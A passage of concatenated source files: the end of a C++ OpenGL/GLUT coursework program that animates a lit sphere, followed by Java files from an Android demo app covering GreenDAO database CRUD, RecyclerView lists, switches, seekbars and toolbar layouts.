if(state==GLUT_DOWN){
xp[counter] = mx;
yp[counter] = my;
zp[counter] = mz;
counter++;
counter = counter % 3; //Reset counter after 3
t = 0;
}
break;
}
glutPostRedisplay();
};
static void init(void)
{
glEnable(GL_CULL_FACE);
glCullFace(GL_BACK);
glClearColor(0.5f, 0.5f, 1.0f, 0.0f); // assign a color you like
glEnable(GL_NORMALIZE);
glEnable(GL_COLOR_MATERIAL);
glEnable(GL_DEPTH_TEST);
glHint(GL_PERSPECTIVE_CORRECTION_HINT, GL_NICEST);
glShadeModel(GL_SMOOTH);
glLightfv(GL_LIGHT0, GL_AMBIENT, light_ambient);
glLightfv(GL_LIGHT0, GL_DIFFUSE, light_diffuse);
glLightfv(GL_LIGHT0, GL_SPECULAR, light_specular);
glLightfv(GL_LIGHT0, GL_POSITION, light_position);
glMaterialfv(GL_FRONT, GL_AMBIENT, mat_ambient);
glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse);
glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular);
glMaterialfv(GL_FRONT, GL_SHININESS, high_shininess);
glEnable(GL_LIGHT0);
glEnable(GL_NORMALIZE);
glEnable(GL_LIGHTING);
}
/* Program entry point */
int main(int argc, char *argv[])
{
glutInit(&argc, argv);
glutInitWindowSize(800,600);
glutInitWindowPosition(0,0);
glutInitDisplayMode(GLUT_RGB | GLUT_DOUBLE | GLUT_DEPTH);
glutCreateWindow("Project Assignment 2");
init();
glutReshapeFunc(resize);
glutDisplayFunc(display);
glutMouseFunc(mouse);
glutKeyboardFunc(key);
glutSpecialFunc(Specialkeys);
glutIdleFunc(idle);
glutMainLoop();
return EXIT_SUCCESS;
}
/*
Generate z values
Rotate around Z axis to see the depth of the ball
*/<file_sep>CSU Fresno Opengl Projects and Lab coursework
<file_sep>
#include <string.h>
#ifdef __APPLE__
#include <GLUT/glut.h>
#else
#include <GL/glut.h>
#endif
#include <stdlib.h>
#include <iostream>
#include <math.h>
using namespace std;
bool WireFrame= false;
const GLfloat light_ambient[] = { 0.0f, 0.0f, 0.0f, 1.0f };
const GLfloat light_diffuse[] = { 1.0f, 1.0f, 1.0f, 1.0f };
const GLfloat light_specular[] = { 1.0f, 1.0f, 1.0f, 1.0f };
const GLfloat light_position[] = { 2.0f, 5.0f, 5.0f, 0.0f };
const GLfloat mat_ambient[] = { 0.7f, 0.7f, 0.7f, 1.0f };
const GLfloat mat_diffuse[] = { 0.8f, 0.8f, 0.8f, 1.0f };
const GLfloat mat_specular[] = { 1.0f, 1.0f, 1.0f, 1.0f };
const GLfloat high_shininess[] = { 100.0f };
int dir = 1;
int r = 0;
float sphere_radius = 0.5;
float x = 1;
float y = 1;
float xPos = 1;
float yPos = 1;
float spin =0.8;
/* GLUT callback Handlers */
static void resize(int width, int height)
{
double Ratio;
if(width<=height)
{
glViewport(0,(GLsizei) (height-width)/2,(GLsizei) width,(GLsizei) width);
Ratio = height/width;
}
else
{
glViewport((GLsizei) (width-height)/2 ,0 ,(GLsizei) height,(GLsizei) height);
Ratio = width /height;
}
glMatrixMode(GL_PROJECTION);
glLoadIdentity();
gluPerspective (50.0f,Ratio,0.1f, 100.0f);
}
static void display(void)
{
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
gluLookAt(0,5,10,0.0,0.0,0.0,0.0,1.0,0.0);
glPushMatrix();
glColor3f(1.0, 0.0, 1.0);
glTranslatef(xPos, yPos, 0);
glutSolidSphere(sphere_radius, 40, 40);
glPopMatrix();
if(WireFrame)
glPolygonMode(GL_FRONT_AND_BACK, GL_LINE); //Draw Our Mesh In Wireframe Mesh
else
glPolygonMode(GL_FRONT_AND_BACK, GL_FILL); //Toggle WIRE FRAME
// your code here
glutSwapBuffers();
}
static void key(unsigned char key, int x, int y)
{
switch (key)
{
case 27 :
case 'q':
exit(0);
break;
case 'w':
WireFrame =!WireFrame;
break;
}
}
void Specialkeys(int key, int x, int y)
{
switch(key)
{
case GLUT_KEY_UP:
break;
}
glutPostRedisplay();
}
static void idle(void)
{
x = xPos;
y = yPos;
sphere_radius += dir*0.01;
sphere_radius>2?dir =- 1 : (sphere_radius<0?dir=1:NULL);
xPos = cos(spin * 3.14/180)* x - sin(spin * 3.14/180)*y;
yPos = cos(spin * 3.14/180)* y + sin(spin * 3.14/180)*x;
glutPostRedisplay();
}
static void init(void)
{
glEnable(GL_CULL_FACE);
glCullFace(GL_BACK);
glEnable(GL_NORMALIZE);
glEnable(GL_COLOR_MATERIAL);
glEnable(GL_DEPTH_TEST);
glHint(GL_PERSPECTIVE_CORRECTION_HINT, GL_NICEST);
glShadeModel(GL_SMOOTH);
glLightfv(GL_LIGHT0, GL_AMBIENT, light_ambient);
glLightfv(GL_LIGHT0, GL_DIFFUSE, light_diffuse);
glLightfv(GL_LIGHT0, GL_SPECULAR, light_specular);
glLightfv(GL_LIGHT0, GL_POSITION, light_position);
glMaterialfv(GL_FRONT, GL_AMBIENT, mat_ambient);
glMaterialfv(GL_FRONT, GL_DIFFUSE, mat_diffuse);
glMaterialfv(GL_FRONT, GL_SPECULAR, mat_specular);
glMaterialfv(GL_FRONT, GL_SHININESS, high_shininess);
glEnable(GL_LIGHT0);
glEnable(GL_NORMALIZE);
glEnable(GL_LIGHTING);
}
/* Program entry point */
int main(int argc, char *argv[])
{
glutInit(&argc, argv);
glutInitWindowSize(800,600);
glutInitWindowPosition(10,10);
glutInitDisplayMode(GLUT_RGB | GLUT_DOUBLE | GLUT_DEPTH);
glutCreateWindow("GLUT Shapes");
init();
glutReshapeFunc(resize);
glutDisplayFunc(display);
glutKeyboardFunc(key);
glutSpecialFunc(Specialkeys);
glutIdleFunc(idle);
glutMainLoop();
return EXIT_SUCCESS;
}
| a39cf9f6655cc07978417b62afbaf40fd0dde2be | [
"Markdown",
"C++"
] | 5 | C++ | RichardMoj/CSCI173 | 955e1aef69ff4f75919cdcf48956a80656a130d8 | 1c62a14c5f4d675ce8504f899a2341d318aa3e21 |
refs/heads/master | <file_sep>package com.test.totaldemp.modle;
import java.util.List;
/**
* Created by Administrator on 2018/7/3.
*/
public class College {
// 大学名
public String name;
// 班级列表
public List<Classes> classList;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public List<Classes> getClassList() {
return classList;
}
public void setClassList(List<Classes> classList) {
this.classList = classList;
}
}<file_sep>package com.test.totaldemp.greendaoentity;
import org.greenrobot.greendao.annotation.Entity;
import org.greenrobot.greendao.annotation.Id;
import org.greenrobot.greendao.annotation.Generated;
@Entity
public class Area {
@Id
private Long id;
private String code;
private String name;
private String parentCode;
private String childCode;
private boolean isSelected;
public boolean getIsSelected() {
return this.isSelected;
}
public void setIsSelected(boolean isSelected) {
this.isSelected = isSelected;
}
public String getChildCode() {
return this.childCode;
}
public void setChildCode(String childCode) {
this.childCode = childCode;
}
public String getParentCode() {
return this.parentCode;
}
public void setParentCode(String parentCode) {
this.parentCode = parentCode;
}
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
public String getCode() {
return this.code;
}
public void setCode(String code) {
this.code = code;
}
public Long getId() {
return this.id;
}
public void setId(Long id) {
this.id = id;
}
@Generated(hash = 1329520238)
public Area(Long id, String code, String name, String parentCode,
String childCode, boolean isSelected) {
this.id = id;
this.code = code;
this.name = name;
this.parentCode = parentCode;
this.childCode = childCode;
this.isSelected = isSelected;
}
@Generated(hash = 179626505)
public Area() {
}
}
<file_sep>package com.test.totaldemp.activity;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.widget.CompoundButton;
import android.widget.SeekBar;
import android.widget.Switch;
import android.widget.TextView;
import android.widget.Toast;
import android.widget.ToggleButton;
import com.test.totaldemp.R;
import com.test.totaldemp.view.MyToggleButton;
public class SwitchActivity extends AppCompatActivity {
Switch s;
private ToggleButton togglebut1;
MyToggleButton mytogglebutton;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// setTheme(R.style.Color1SwitchStyle);//就可以改变颜色了。
setContentView(R.layout.activity_switch);
s = (Switch) findViewById(R.id.sw);
s.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
Log.e("onCheckedChanged", isChecked + "");
// s.setChecked(!isChecked);//设置点击switch不生效
}
});
togglebut1 = (ToggleButton) findViewById(R.id.togglebut1);
togglebut1.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
if (isChecked) {
Toast.makeText(SwitchActivity.this, "打开", Toast.LENGTH_LONG).show();
} else {
Toast.makeText(SwitchActivity.this, "关闭", Toast.LENGTH_LONG).show();
}
}
});
mytogglebutton = (MyToggleButton) findViewById(R.id.my_togglebut);
//设置打开背景图
mytogglebutton.setToggle_bkg_on(R.drawable.switch_button_checked);
//设置关闭背景图
mytogglebutton.setToggle_bkg_off(R.drawable.switch_button_normal);
//设置滑动块背景图
mytogglebutton.setToggle_slip(R.mipmap.ic_launcher_round);
//设置ToggleButton初始状态
mytogglebutton.setToggleState(false);
//mytogglebutton设置监听
mytogglebutton.setOnToggleStateChangeListener(new MyToggleButton.OnToggleStateChangeListener() {
@Override
public void onToggleStateChange(Boolean state) {
if (state) {
Toast.makeText(SwitchActivity.this, "打开", Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(SwitchActivity.this, "关闭", Toast.LENGTH_SHORT).show();
}
}
});
seekBar = (SeekBar) findViewById(R.id.sb);
tv = (TextView) findViewById(R.id.tv);
seekBar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
@Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
tv.setText(progress+"");
}
@Override
public void onStartTrackingTouch(SeekBar seekBar) {
Toast.makeText(SwitchActivity.this, "按住seekbar", Toast.LENGTH_SHORT).show();
}
@Override
public void onStopTrackingTouch(SeekBar seekBar) {
Toast.makeText(SwitchActivity.this, "放开seekbar", Toast.LENGTH_SHORT).show();
}
});
}
private SeekBar seekBar;
TextView tv;
}
<file_sep>package com.test.totaldemp.adapter;
import android.content.Context;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.ViewGroup;
import java.util.List;
/**
* Created by huanglongfei on 16/7/9.
*/
public abstract class RecyclerViewAdapter<T> extends RecyclerView.Adapter<RecyclerViewHolder> {
protected Context mContext;
protected int mLayoutId;
protected List<T> mDatas;
protected LayoutInflater mInflater;
public RecyclerViewAdapter(Context context, int layoutId, List<T> datas) {
mContext = context.getApplicationContext();
mInflater = LayoutInflater.from(context);
mLayoutId = layoutId;
mDatas = datas;
}
@Override
public RecyclerViewHolder onCreateViewHolder(final ViewGroup parent, int viewType) {
RecyclerViewHolder recyclerViewHolder = RecyclerViewHolder.get(parent.getContext(), parent, mLayoutId);
return recyclerViewHolder;
}
@Override
public void onBindViewHolder(RecyclerViewHolder holder, int position) {
convert(holder, mDatas.get(position), position);
}
public abstract void convert(RecyclerViewHolder holder, T t, int position);
@Override
public int getItemCount() {
return mDatas.size();
}
}<file_sep>package com.test.totaldemp.activity;
import android.annotation.TargetApi;
import android.app.AlertDialog;
import android.os.Build;
import android.os.Bundle;
import android.support.design.widget.CollapsingToolbarLayout;
import android.support.design.widget.Snackbar;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.support.v7.widget.Toolbar;
import android.support.v7.widget.helper.ItemTouchHelper;
import android.view.Gravity;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import com.test.totaldemp.R;
import com.test.totaldemp.adapter.MyAdapter;
import com.test.totaldemp.helper.ItemDragHelperCallback;
import com.test.totaldemp.modle.CellData;
import java.util.ArrayList;
import java.util.List;
import static android.view.WindowManager.LayoutParams;
public class CoordinatorLayoutActivity extends AppCompatActivity {
@TargetApi(Build.VERSION_CODES.KITKAT)
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_coordinator_layout);
//沉浸式状态栏
getWindow().addFlags(LayoutParams.FLAG_TRANSLUCENT_STATUS);
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
RecyclerView mRecyclerView = (RecyclerView) findViewById(R.id.my_recycler_view);
setSupportActionBar(toolbar);
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
//给页面设置工具栏
CollapsingToolbarLayout collapsingToolbar = (CollapsingToolbarLayout) findViewById(R.id.collapsing_toolbar);
if (collapsingToolbar != null) {
//设置隐藏图片时候ToolBar的颜色
collapsingToolbar.setContentScrimColor(getResources().getColor(R.color.c_65D1D3));
//设置工具栏标题
collapsingToolbar.setTitle("编程是一种信仰");
collapsingToolbar.setCollapsedTitleGravity(Gravity.CENTER);//设置收缩后标题的位置
collapsingToolbar.setExpandedTitleGravity(Gravity.LEFT | Gravity.BOTTOM);////设置展开后标题的位置
}
List<CellData> list = initData();
if (mRecyclerView != null) {
mRecyclerView.setHasFixedSize(true);
LinearLayoutManager manager = new LinearLayoutManager(this, LinearLayoutManager.VERTICAL, false);
mRecyclerView.setLayoutManager(manager);
// 长按拖拽打开
ItemDragHelperCallback callback = new ItemDragHelperCallback() {
@Override
public boolean isLongPressDragEnabled() {
return true;
}
};
ItemTouchHelper helper = new ItemTouchHelper(callback);
helper.attachToRecyclerView(mRecyclerView);
//设置adapter
MyAdapter mAdapter = new MyAdapter(list);
mRecyclerView.setAdapter(mAdapter);
//设置RecyclerView的每一项的点击事件
mAdapter.setRecyclerViewOnItemClickListener(new MyAdapter.RecyclerViewOnItemClickListener() {
@Override
public void onItemClickListener(View view, int position) {
Snackbar.make(view, "点击了:" + (position + 1), Snackbar.LENGTH_SHORT).show();
}
});
//设置RecyclerView的每一项的长按事件
mAdapter.setOnItemLongClickListener(new MyAdapter.RecyclerViewOnItemLongClickListener() {
@Override
public boolean onItemLongClickListener(View view, int position) {
Snackbar.make(view, "长按了:" + (position + 1), Snackbar.LENGTH_SHORT).show();
return true;
}
});
mAdapter.setOnItemMovedListener(new MyAdapter.RecyclerViewOnItemMovedListener() {
@Override
public boolean onItemMovedListener(int fromPosition, int toPosition) {
Snackbar.make(getWindow().getDecorView(), "从-" + (fromPosition + 1) + "-移动到" + (toPosition + 1), Snackbar.LENGTH_SHORT).show();
return false;
}
});
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
getMenuInflater().inflate(R.menu.main, menu);
return super.onCreateOptionsMenu(menu);
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
switch (item.getItemId()) {
case android.R.id.home:
//点击了返回箭头
Snackbar.make(getWindow().getDecorView(), "我要回家", Snackbar.LENGTH_SHORT).show();
break;
case R.id.about:
new AlertDialog.Builder(this).setMessage("作者:阿钟\ncsdn地址:http://blog.csdn.net/a_zhon/").show();
break;
}
return super.onOptionsItemSelected(item);
}
private List<CellData> initData() {
List<CellData> list = new ArrayList<>();
for (int i = 1; i <= 50; i++) {
CellData cellData = new CellData("逗比程序员 +" + i, "不想当项目经理的程序员不是个好程序员" + i);
list.add(cellData);
}
return list;
}
}
<file_sep>package com.test.totaldemp;
import android.content.Intent;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.view.WindowManager;
import android.widget.PopupWindow;
import android.widget.TextView;
import com.test.totaldemp.activity.AdaptActivity;
import com.test.totaldemp.activity.AnimationScaleActivity;
import com.test.totaldemp.activity.ClickEventActivity;
import com.test.totaldemp.activity.CoordinatorLayoutActivity;
import com.test.totaldemp.activity.ExpandListActivity3;
import com.test.totaldemp.activity.GreenDaoActivity;
import com.test.totaldemp.activity.ListviewControlActivity;
import com.test.totaldemp.activity.MyCameraActivity;
import com.test.totaldemp.activity.PaintCanvasActivity;
import com.test.totaldemp.activity.SeekBarActivity;
import com.test.totaldemp.activity.SwitchActivity;
import com.test.totaldemp.activity.TimeWightActivity;
import com.test.totaldemp.activity.UpdateActivity;
import com.test.totaldemp.utils.ToastUtil;
import com.test.totaldemp.view.TestPopWindow;
public class MainActivity extends AppCompatActivity implements View.OnClickListener {
private TextView tv1, tv2, tv3, tv4, tv5, tv6, tv7, tv8, tv9, tv10,
tv11, tv12, tv13, tv14, tv15, tv16, tv17, tv18, tv19, tv20;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
initView();
ToastUtil.showToast(MainActivity.this, "halo,各位小弟弟啊,小妹妹啊!");
}
void initView() {
tv1 = (TextView) findViewById(R.id.tv1);
tv1.setOnClickListener(this);
tv2 = (TextView) findViewById(R.id.tv2);
tv2.setOnClickListener(this);
tv3 = (TextView) findViewById(R.id.tv3);
tv3.setOnClickListener(this);
tv4 = (TextView) findViewById(R.id.tv4);
tv4.setOnClickListener(this);
tv5 = (TextView) findViewById(R.id.tv5);
tv5.setOnClickListener(this);
tv6 = (TextView) findViewById(R.id.tv6);
tv6.setOnClickListener(this);
tv7 = (TextView) findViewById(R.id.tv7);
tv7.setOnClickListener(this);
tv8 = (TextView) findViewById(R.id.tv8);
tv8.setOnClickListener(this);
tv9 = (TextView) findViewById(R.id.tv9);
tv9.setOnClickListener(this);
tv10 = (TextView) findViewById(R.id.tv10);
tv10.setOnClickListener(this);
tv11 = (TextView) findViewById(R.id.tv11);
tv11.setOnClickListener(this);
tv12 = (TextView) findViewById(R.id.tv12);
tv12.setOnClickListener(this);
tv13 = (TextView) findViewById(R.id.tv13);
tv13.setOnClickListener(this);
tv14 = (TextView) findViewById(R.id.tv14);
tv14.setOnClickListener(this);
}
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.tv1:
startActivity(new Intent(this, ExpandListActivity3.class));
break;
case R.id.tv2:
startActivity(new Intent(this, GreenDaoActivity.class));
break;
case R.id.tv3:
TestPopWindow pop = new TestPopWindow(this);
pop.showAsDropDown(v, 0, 0);
lightOff();
// 消失时屏幕变亮
pop.setOnDismissListener(new PopupWindow.OnDismissListener() {
@Override
public void onDismiss() {
WindowManager.LayoutParams layoutParams = getWindow().getAttributes();
layoutParams.alpha = 1.0f;
getWindow().setAttributes(layoutParams);
}
});
break;
case R.id.tv4:
startActivity(new Intent(this, ListviewControlActivity.class));
break;
case R.id.tv5:
startActivity(new Intent(this, MyCameraActivity.class));
break;
case R.id.tv6:
startActivity(new Intent(this, AnimationScaleActivity.class));
break;
case R.id.tv7:
startActivity(new Intent(this, PaintCanvasActivity.class));
break;
case R.id.tv8:
startActivity(new Intent(this, SwitchActivity.class));
break;
case R.id.tv9:
startActivity(new Intent(this, TimeWightActivity.class));
break;
case R.id.tv10:
startActivity(new Intent(this, CoordinatorLayoutActivity.class));
break;
case R.id.tv11:
startActivity(new Intent(this, SeekBarActivity.class));
break;
case R.id.tv12:
startActivity(new Intent(this, AdaptActivity.class));
break;
case R.id.tv13:
startActivity(new Intent(this, UpdateActivity.class));
break;
case R.id.tv14:
startActivity(new Intent(this, ClickEventActivity.class));
break;
}
}
/**
* 显示时屏幕变暗
*/
private void lightOff() {
WindowManager.LayoutParams layoutParams = getWindow().getAttributes();
layoutParams.alpha = 0.3f;
getWindow().setAttributes(layoutParams);
}
}<file_sep>package com.test.totaldemp.activity;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.text.method.ScrollingMovementMethod;
import android.widget.TextView;
import com.test.totaldemp.R;
public class UpdateActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_update);
TextView textView = (TextView)findViewById(R.id.text_des);
textView.setMovementMethod(ScrollingMovementMethod.getInstance());
}
}
<file_sep>package com.test.totaldemp.activity;
import android.content.Context;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.util.DisplayMetrics;
import android.util.Log;
import android.view.View;
import android.view.ViewGroup;
import android.widget.CompoundButton;
import android.widget.HorizontalScrollView;
import android.widget.RadioButton;
import android.widget.RadioGroup;
import com.test.totaldemp.R;
import com.test.totaldemp.adapter.DividerItemDecoration;
import com.test.totaldemp.adapter.RecyclerViewAdapter;
import com.test.totaldemp.adapter.RecyclerViewHolder;
import com.test.totaldemp.modle.Classes;
import java.util.ArrayList;
import java.util.List;
public class ListviewControlActivity extends AppCompatActivity {
RadioGroup radioGroup;
RecyclerView rv;
HorizontalScrollView scrollView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_listview_control);
scrollView = (HorizontalScrollView) findViewById(R.id.scrollView);
initTopView();
initButtomView();
}
private void initTopView() {
radioGroup = (RadioGroup) findViewById(R.id.radioGroup);
for (int i = 0; i < 15; i++) {
RadioGroup.LayoutParams lp = new RadioGroup.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT,
ViewGroup.LayoutParams.WRAP_CONTENT);
lp.setMargins(15, 5, 5, 5);//设置边距
RadioButton radioButton = new RadioButton(this);
radioButton.setTag(i);
radioButton.setId(100 + i);
radioButton.setText("第" + i + "个");
radioButton.setButtonDrawable(null);
radioButton.setBackground(getResources().getDrawable(R.drawable.rdobtn_selecter_slide));
radioButton.setTextColor(getResources().getColorStateList(R.color.radiobutton_text_color));
radioButton.setPadding(15, 5, 15, 5);
radioButton.setChecked(false);
radioButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (v.getTag() != null) {
int position = (Integer) v.getTag();
View itemView = radioGroup.getChildAt(position);
int itemWidth = itemView.getWidth();
int scrollViewWidth = getScreenWidth(v.getContext());
Log.e("滑动了->", itemView.getLeft() - (scrollViewWidth / 2 - itemWidth / 2) + "");
scrollView.smoothScrollTo(itemView.getLeft() - (scrollViewWidth / 2 - itemWidth / 2), 0);
}
}
});
radioGroup.addView(radioButton, lp);
}
}
private RecyclerViewAdapter mAdapter;
private void initButtomView() {
rv = (RecyclerView) findViewById(R.id.rv);
List<Classes> list = new ArrayList<>();
for (int i = 0; i < 100; i++) {
Classes c = new Classes();
c.setName("任务" + i);
list.add(c);
}
rv.setLayoutManager(new LinearLayoutManager(this));
rv.addItemDecoration(new DividerItemDecoration(this, DividerItemDecoration.VERTICAL_LIST));
rv.setAdapter(mAdapter = new RecyclerViewAdapter<Classes>(this, R.layout.item_search_house, list) {
@Override
public void convert(RecyclerViewHolder holder, final Classes data, int position) {
holder.setText(R.id.tv_data, data.getName());
}
});
rv.setOnScrollListener(new RecyclerView.OnScrollListener() {
@Override
public void onScrollStateChanged(RecyclerView recyclerView, int newState) {
super.onScrollStateChanged(recyclerView, newState);
int firstPosition;
switch (newState) {
case RecyclerView.SCROLL_STATE_IDLE:
RecyclerView.LayoutManager layoutManager = rv.getLayoutManager();
LinearLayoutManager linearManager = (LinearLayoutManager) layoutManager;
firstPosition = linearManager.findFirstVisibleItemPosition();
Log.e("lll", "现在在哪个位置》》》" + firstPosition + "----" + firstPosition / 10);
RadioButton itemView = (RadioButton) radioGroup.getChildAt(firstPosition / 10);
itemView.callOnClick();
itemView.setChecked(true);
break;
}
}
@Override
public void onScrolled(RecyclerView recyclerView, int dx, int dy) {
super.onScrolled(recyclerView, dx, dy);
}
});
mAdapter.notifyDataSetChanged();
}
LinearLayoutManager finalLayoutMgr;
boolean outputPortDragging;
/**
* 获取屏幕宽度
*/
public static int getScreenWidth(Context context) {
DisplayMetrics dm = context.getResources().getDisplayMetrics();
return dm.widthPixels;
}
}
<file_sep>package com.test.totaldemp.activity;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import com.test.totaldemp.R;
import com.test.totaldemp.application.MyApplication;
import com.test.totaldemp.gen.AreaDao;
import com.test.totaldemp.gen.UserDao;
import com.test.totaldemp.greendaoentity.User;
import java.util.List;
public class GreenDaoActivity extends AppCompatActivity implements View.OnClickListener {
EditText user_id, user_name;
TextView tvdata;
Button add, delete, update, search, searchById;
UserDao mUserDao;
AreaDao mAreaDao;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_green_dao);
user_id = (EditText) findViewById(R.id.user_id);
user_name = (EditText) findViewById(R.id.user_name);
tvdata = (TextView) findViewById(R.id.tvdata);
delete = (Button) findViewById(R.id.delete);
add = (Button) findViewById(R.id.add);
update = (Button) findViewById(R.id.update);
search = (Button) findViewById(R.id.search);
searchById = (Button) findViewById(R.id.searchById);
add.setOnClickListener(this);
delete.setOnClickListener(this);
update.setOnClickListener(this);
search.setOnClickListener(this);
searchById.setOnClickListener(this);
mUserDao = MyApplication.getInstances().getDaoSession().getUserDao();
mAreaDao = MyApplication.getInstances().getDaoSession().getAreaDao();
}
User mUser;
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.add:
mUser = new User(Long.parseLong(user_id.getText().toString()), user_name.getText().toString());
mUserDao.insert(mUser);//添加一个
break;
case R.id.delete:
mUserDao.deleteByKey(Long.parseLong(user_id.getText().toString()));
break;
case R.id.update:
mUser = new User(Long.parseLong(user_id.getText().toString()), user_name.getText().toString());
mUserDao.update(mUser);
break;
case R.id.search:
List<User> users = mUserDao.loadAll();
String userName = "";
for (int i = 0; i < users.size(); i++) {
userName += users.get(i).getId() + "--" + users.get(i).getName() + ",";
userName = userName + "\n";
}
tvdata.setText("查询全部数据==>\n" + userName);
return;
case R.id.searchById:
User user = mUserDao.load(Long.parseLong(user_id.getText().toString()));
tvdata.setText("查询user数据==>\n" + user.toString());
return;
}
List<User> users = mUserDao.loadAll();
String userName = "";
for (int i = 0; i < users.size(); i++) {
userName += users.get(i).getId() + "--" + users.get(i).getName() + ",";
userName = userName + "\n";
}
tvdata.setText("查询全部数据==>\n" + userName);
}
}
<file_sep>package com.test.totaldemp.activity;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.ImageView;
import android.widget.TextClock;
import com.test.totaldemp.R;
import java.io.IOException;
import java.io.InputStream;
public class TimeWightActivity extends AppCompatActivity {
private TextClock mTextClock;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_time_wight);
mTextClock = (TextClock) findViewById(R.id.tc);
// 设置12时制显示格式
// mTextClock.setFormat12Hour("EEEE, MMMM dd, yyyy h:mmaa");
// 设置24时制显示格式
mTextClock.setFormat24Hour("yyyy-MM-dd HH:mm:ss, EEEE");
findViewById(R.id.bt).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
InputStream is = null;
try {
is = getAssets().open("icon_login_water.png");
} catch (IOException e) {
e.printStackTrace();
}
Bitmap bitmap = BitmapFactory.decodeStream(is);
((ImageView) findViewById(R.id.img)).setImageBitmap(bitmap);
}
});
}
}
<file_sep>package com.test.totaldemp.activity;
import android.animation.ValueAnimator;
import android.os.Bundle;
import android.renderscript.Sampler;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.view.animation.Animation;
import android.view.animation.AnimationUtils;
import android.widget.Button;
import android.widget.TextView;
import com.test.totaldemp.R;
public class AnimationScaleActivity extends AppCompatActivity {
Button scaleBtn;
Animation scaleAnimation;
//ValueAnimator
TextView tv;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_animation_scale);
scaleAnimation = AnimationUtils.loadAnimation(this, R.anim.scaleanim);
// scaleAnimation.setre
scaleBtn = (Button) findViewById(R.id.btn_animation);
tv = (TextView) findViewById(R.id.tv);
// tv.layout();
scaleBtn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
// TODO Auto-generated method stub
tv.startAnimation(scaleAnimation);
}
});
}
}
<file_sep>package com.test.totaldemp.application;
import android.app.Application;
import android.database.DatabaseErrorHandler;
import android.database.sqlite.SQLiteDatabase;
import android.os.Environment;
import com.test.totaldemp.gen.DaoMaster;
import com.test.totaldemp.gen.DaoSession;
import java.io.File;
import java.io.IOException;
/**
* Created by Administrator on 2018/7/4.
*/
public class MyApplication extends Application {
private DaoMaster.DevOpenHelper mHelper;
private SQLiteDatabase db;
private DaoMaster mDaoMaster;
private DaoSession mDaoSession;
public static MyApplication instances;
@Override
public void onCreate() {
super.onCreate();
instances = this;
// setDatabase();
}
public static MyApplication getInstances() {
return instances;
}
/**
* 设置greenDao
*/
private void setDatabase() {
// 通过 DaoMaster 的内部类 DevOpenHelper,你可以得到一个便利的 SQLiteOpenHelper 对象。
// 可能你已经注意到了,你并不需要去编写「CREATE TABLE」这样的 SQL 语句,因为 greenDAO 已经帮你做了。
// 注意:默认的 DaoMaster.DevOpenHelper 会在数据库升级时,删除所有的表,意味着这将导致数据的丢失。
// 所以,在正式的项目中,你还应该做一层封装,来实现数据库的安全升级。
mHelper = new DaoMaster.DevOpenHelper(this, "notes-db", null);
db = mHelper.getWritableDatabase();
// 注意:该数据库连接属于 DaoMaster,所以多个 Session 指的是相同的数据库连接。
mDaoMaster = new DaoMaster(db);
mDaoSession = mDaoMaster.newSession();
}
public DaoSession getDaoSession() {
return mDaoSession;
}
public SQLiteDatabase getDb() {
return db;
}
//重载这个方法,是用来打开SD卡上的数据库的,android 2.3及以下会调用这个方法。
@Override
public SQLiteDatabase openOrCreateDatabase(String name, int mode, SQLiteDatabase.CursorFactory factory) {
SQLiteDatabase result = SQLiteDatabase.openOrCreateDatabase(getDatabasePath(name), null);
return result;
}
//Android 4.0会调用此方法获取数据库。
@Override
